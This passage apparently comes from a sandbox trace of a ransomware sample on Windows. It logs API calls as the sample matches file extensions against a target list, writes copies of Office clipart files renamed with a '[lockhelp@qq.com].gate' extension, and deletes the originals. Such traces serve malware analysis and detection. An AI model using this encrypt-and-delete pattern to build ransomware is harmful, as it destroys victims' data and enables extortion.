(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.871] lstrlenW (lpString=".doc") returned 4 [0321.871] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0321.871] lstrlenW (lpString=".docx") returned 5 [0321.871] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0321.871] lstrlenW (lpString=".pdf") returned 4 [0321.871] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0321.871] lstrlenW (lpString=".xls") returned 4 [0321.871] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0321.871] lstrlenW (lpString=".xlsx") returned 5 [0321.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0321.871] lstrlenW (lpString=".ppt") returned 4 [0321.871] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0321.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.871] lstrlenW (lpString=".zip") returned 4 [0321.871] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0321.871] lstrlenW (lpString=".rar") returned 4 [0321.872] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0321.872] lstrlenW (lpString=".bz2") returned 4 [0321.872] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0321.872] lstrlenW (lpString=".7z") returned 3 [0321.872] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0321.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.872] lstrlenW (lpString=".dbf") returned 4 [0321.872] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0321.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.872] lstrlenW (lpString=".1cd") returned 4 [0321.872] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0321.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.872] lstrlenW (lpString=".jpg") returned 4 [0321.872] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0321.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.872] lstrlenW (lpString=".doc") returned 4 [0321.872] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0321.872] lstrlenW (lpString=".docx") returned 5 [0321.872] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0321.872] lstrlenW (lpString=".pdf") returned 4 [0321.872] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0321.872] lstrlenW (lpString=".xls") returned 4 [0321.872] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0321.872] lstrlenW (lpString=".xlsx") returned 5 [0321.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0321.872] lstrlenW (lpString=".ppt") returned 4 [0321.872] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0321.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.872] lstrlenW (lpString=".zip") returned 4 [0321.872] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0321.872] lstrlenW (lpString=".rar") returned 4 [0321.872] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0321.872] lstrlenW (lpString=".bz2") returned 4 [0321.872] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0321.873] lstrlenW (lpString=".7z") returned 3 [0321.873] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0321.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.873] lstrlenW (lpString=".dbf") returned 4 [0321.873] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0321.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.873] lstrlenW (lpString=".1cd") returned 4 [0321.873] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0321.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0321.873] lstrlenW (lpString=".jpg") returned 4 [0321.873] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0321.873] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0321.873] lstrlenW (lpString="BD19582_.GIF") returned 12 [0321.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.873] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=15733) returned 1 [0321.873] CloseHandle (hObject=0x34c) returned 1 [0321.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0321.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.874] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.874] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.874] GetLastError () returned 0x0 [0321.874] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x3d75, lpOverlapped=0x0) returned 1 [0321.875] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x3d80, lpOverlapped=0x0) returned 1 [0321.876] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.876] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.876] SetEndOfFile (hFile=0x384) returned 1 [0321.876] CloseHandle (hObject=0x384) returned 1 [0321.876] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.877] SetEndOfFile (hFile=0x34c) returned 1 [0321.877] CloseHandle (hObject=0x34c) returned 1 [0321.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0321.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.878] lstrlenW (lpString=".doc") returned 4 [0321.878] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0321.878] lstrlenW (lpString=".docx") returned 5 [0321.878] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0321.878] lstrlenW (lpString=".pdf") returned 4 [0321.878] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0321.878] lstrlenW (lpString=".xls") returned 4 [0321.878] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0321.878] lstrlenW (lpString=".xlsx") returned 5 [0321.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0321.878] lstrlenW (lpString=".ppt") returned 4 [0321.878] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0321.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.878] lstrlenW (lpString=".zip") returned 4 [0321.878] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0321.878] lstrlenW (lpString=".rar") returned 4 [0321.878] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0321.878] lstrlenW (lpString=".bz2") returned 4 [0321.878] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0321.879] lstrlenW (lpString=".7z") returned 3 [0321.879] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0321.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.879] lstrlenW (lpString=".dbf") returned 4 [0321.879] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0321.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.879] lstrlenW (lpString=".1cd") returned 4 [0321.879] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0321.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.879] lstrlenW (lpString=".jpg") returned 4 [0321.879] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0321.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.879] lstrlenW (lpString=".doc") returned 4 [0321.879] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0321.879] lstrlenW (lpString=".docx") returned 5 [0321.879] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0321.879] lstrlenW (lpString=".pdf") returned 4 [0321.879] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0321.879] lstrlenW (lpString=".xls") returned 4 [0321.879] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0321.879] lstrlenW (lpString=".xlsx") returned 5 [0321.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0321.879] lstrlenW (lpString=".ppt") returned 4 [0321.879] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0321.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.879] lstrlenW (lpString=".zip") returned 4 [0321.879] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0321.879] lstrlenW (lpString=".rar") returned 4 [0321.879] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0321.879] lstrlenW (lpString=".bz2") returned 4 [0321.879] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0321.879] lstrlenW (lpString=".7z") returned 3 [0321.879] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0321.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.880] lstrlenW (lpString=".dbf") returned 4 [0321.880] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0321.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.880] lstrlenW (lpString=".1cd") returned 4 [0321.880] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0321.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0321.880] lstrlenW (lpString=".jpg") returned 4 [0321.880] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0321.880] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.880] lstrlenW (lpString="BD19695_.WMF") returned 12 [0321.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.880] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=12982) returned 1 [0321.880] CloseHandle (hObject=0x34c) returned 1 [0321.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0321.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.881] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.881] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.881] GetLastError () returned 0x0 [0321.881] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x32b6, lpOverlapped=0x0) returned 1 [0321.882] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0321.883] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.883] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.883] SetEndOfFile (hFile=0x384) returned 1 [0321.883] CloseHandle (hObject=0x384) returned 1 [0321.883] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.883] SetEndOfFile (hFile=0x34c) returned 1 [0321.884] CloseHandle (hObject=0x34c) returned 1 [0321.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0321.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.885] lstrlenW (lpString=".doc") returned 4 [0321.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.885] lstrlenW (lpString=".docx") returned 5 [0321.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.885] lstrlenW (lpString=".pdf") returned 4 [0321.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.885] lstrlenW (lpString=".xls") returned 4 [0321.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.885] lstrlenW (lpString=".xlsx") returned 5 [0321.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.885] lstrlenW (lpString=".ppt") returned 4 [0321.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.885] lstrlenW (lpString=".zip") returned 4 [0321.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.885] lstrlenW (lpString=".rar") returned 4 [0321.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.885] lstrlenW (lpString=".bz2") returned 4 [0321.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.885] lstrlenW (lpString=".7z") returned 3 [0321.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.885] lstrlenW (lpString=".dbf") returned 4 [0321.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.885] lstrlenW (lpString=".1cd") returned 4 [0321.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.886] lstrlenW (lpString=".jpg") returned 4 [0321.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.886] lstrlenW (lpString=".doc") returned 4 [0321.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.886] lstrlenW (lpString=".docx") returned 5 [0321.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.886] lstrlenW (lpString=".pdf") returned 4 [0321.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.886] lstrlenW (lpString=".xls") returned 4 [0321.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.886] lstrlenW (lpString=".xlsx") returned 5 [0321.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.886] lstrlenW (lpString=".ppt") returned 4 [0321.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.886] lstrlenW (lpString=".zip") returned 4 [0321.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.886] lstrlenW (lpString=".rar") returned 4 [0321.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.886] lstrlenW (lpString=".bz2") returned 4 [0321.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.886] lstrlenW (lpString=".7z") returned 3 [0321.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.886] lstrlenW (lpString=".dbf") returned 4 [0321.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.886] lstrlenW (lpString=".1cd") returned 4 [0321.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0321.887] lstrlenW (lpString=".jpg") returned 4 [0321.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.887] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.887] lstrlenW (lpString="BD19827_.WMF") returned 12 [0321.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.887] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=9710) returned 1 [0321.887] CloseHandle (hObject=0x34c) returned 1 [0321.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0321.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0321.887] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.887] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0321.888] GetLastError () returned 0x0 [0321.888] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x25ee, lpOverlapped=0x0) returned 1 [0321.889] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x25f0, lpOverlapped=0x0) returned 1 [0321.890] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.890] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.890] SetEndOfFile (hFile=0x384) returned 1 [0321.890] CloseHandle (hObject=0x384) returned 1 [0321.890] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.890] SetEndOfFile (hFile=0x34c) returned 1 [0321.891] CloseHandle (hObject=0x34c) returned 1 [0321.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0321.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0321.891] lstrlenW (lpString=".doc") returned 4 [0321.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.891] lstrlenW (lpString=".docx") returned 5 [0321.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.891] lstrlenW (lpString=".pdf") returned 4 [0321.891] lstrcmpiW 